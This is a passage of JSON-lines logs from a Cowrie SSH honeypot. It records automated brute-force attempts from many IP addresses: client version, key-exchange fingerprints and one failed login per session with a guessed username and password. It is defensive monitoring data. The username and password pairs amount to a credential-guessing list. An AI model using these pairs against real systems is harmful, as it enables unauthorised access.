cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:40:37.726493Z","src_ip":"143.20.185.207","session":"92900573876f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS#8VCPU16GBAMD","message":"login attempt [root/undefinedVPS#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:40:38.167238Z","src_ip":"143.20.185.207","session":"92900573876f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:40:39.290361Z","src_ip":"143.20.185.207","session":"92900573876f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":60870,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3262d30f39c","protocol":"ssh","message":"New connection: 178.128.39.166:60870 (159.203.135.109:22) [session: a3262d30f39c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:41:38.567446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:41:38.575965Z","src_ip":"178.128.39.166","session":"a3262d30f39c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:41:38.671670Z","src_ip":"178.128.39.166","session":"a3262d30f39c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password12","message":"login attempt [root/password12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:41:39.084644Z","src_ip":"178.128.39.166","session":"a3262d30f39c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:41:40.178450Z","src_ip":"178.128.39.166","session":"a3262d30f39c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":37836,"dst_ip":"159.203.135.109","dst_port":22,"session":"c20a3b8cde5d","protocol":"ssh","message":"New connection: 103.149.28.157:37836 (159.203.135.109:22) [session: c20a3b8cde5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:41:54.209711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:41:54.213555Z","src_ip":"103.149.28.157","session":"c20a3b8cde5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:41:54.465148Z","src_ip":"103.149.28.157","session":"c20a3b8cde5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sixers","message":"login attempt [root/sixers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:41:55.222760Z","src_ip":"103.149.28.157","session":"c20a3b8cde5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:41:56.480970Z","src_ip":"103.149.28.157","session":"c20a3b8cde5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":46680,"dst_ip":"159.203.135.109","dst_port":22,"session":"6baa630187d9","protocol":"ssh","message":"New connection: 202.61.233.105:46680 (159.203.135.109:22) [session: 6baa630187d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:42:24.875934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:42:24.879916Z","src_ip":"202.61.233.105","session":"6baa630187d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:42:24.980783Z","src_ip":"202.61.233.105","session":"6baa630187d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coinex","password":"coinex2024","message":"login attempt [coinex/coinex2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:42:25.303455Z","src_ip":"202.61.233.105","session":"6baa630187d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:42:26.407382Z","src_ip":"202.61.233.105","session":"6baa630187d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":57130,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3f5b48af89f","protocol":"ssh","message":"New connection: 147.45.199.80:57130 (159.203.135.109:22) [session: a3f5b48af89f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:42:37.780072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:42:37.783284Z","src_ip":"147.45.199.80","session":"a3f5b48af89f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:42:37.885609Z","src_ip":"147.45.199.80","session":"a3f5b48af89f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rjcvjyfdn","message":"login attempt [root/rjcvjyfdn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:42:38.224358Z","src_ip":"147.45.199.80","session":"a3f5b48af89f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:42:39.334079Z","src_ip":"147.45.199.80","session":"a3f5b48af89f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":58200,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1a46c3f69e8","protocol":"ssh","message":"New connection: 192.169.202.129:58200 (10.17.0.5:22) [session: d1a46c3f69e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:42:48.027274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:42:48.029821Z","src_ip":"192.169.202.129","session":"d1a46c3f69e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:42:48.096136Z","src_ip":"192.169.202.129","session":"d1a46c3f69e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tbilisi_georgia","password":"tbilisi123","message":"login attempt [tbilisi_georgia/tbilisi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:42:48.293437Z","src_ip":"192.169.202.129","session":"d1a46c3f69e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:42:49.360386Z","src_ip":"192.169.202.129","session":"d1a46c3f69e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":53438,"dst_ip":"10.17.0.5","dst_port":22,"session":"285aa5b7ddcc","protocol":"ssh","message":"New connection: 38.93.206.2:53438 (10.17.0.5:22) [session: 285aa5b7ddcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:43:00.426399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:43:00.430773Z","src_ip":"38.93.206.2","session":"285aa5b7ddcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:43:00.480757Z","src_ip":"38.93.206.2","session":"285aa5b7ddcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mcdonald","message":"login attempt [root/mcdonald] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:43:00.634515Z","src_ip":"38.93.206.2","session":"285aa5b7ddcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:43:01.687837Z","src_ip":"38.93.206.2","session":"285aa5b7ddcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":60644,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f2748434507","protocol":"ssh","message":"New connection: 154.16.115.34:60644 (10.17.0.5:22) [session: 6f2748434507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:43:57.903859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:43:57.907558Z","src_ip":"154.16.115.34","session":"6f2748434507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:43:57.932604Z","src_ip":"154.16.115.34","session":"6f2748434507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toshi456","message":"login attempt [root/toshi456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:43:58.015176Z","src_ip":"154.16.115.34","session":"6f2748434507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:43:59.043444Z","src_ip":"154.16.115.34","session":"6f2748434507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":60608,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dd4961907df","protocol":"ssh","message":"New connection: 162.144.213.198:60608 (159.203.135.109:22) [session: 3dd4961907df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:45:55.457141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:45:55.461224Z","src_ip":"162.144.213.198","session":"3dd4961907df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:45:55.550089Z","src_ip":"162.144.213.198","session":"3dd4961907df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"snx2024","message":"login attempt [root/snx2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:45:55.820531Z","src_ip":"162.144.213.198","session":"3dd4961907df","protocol":"ssh"}
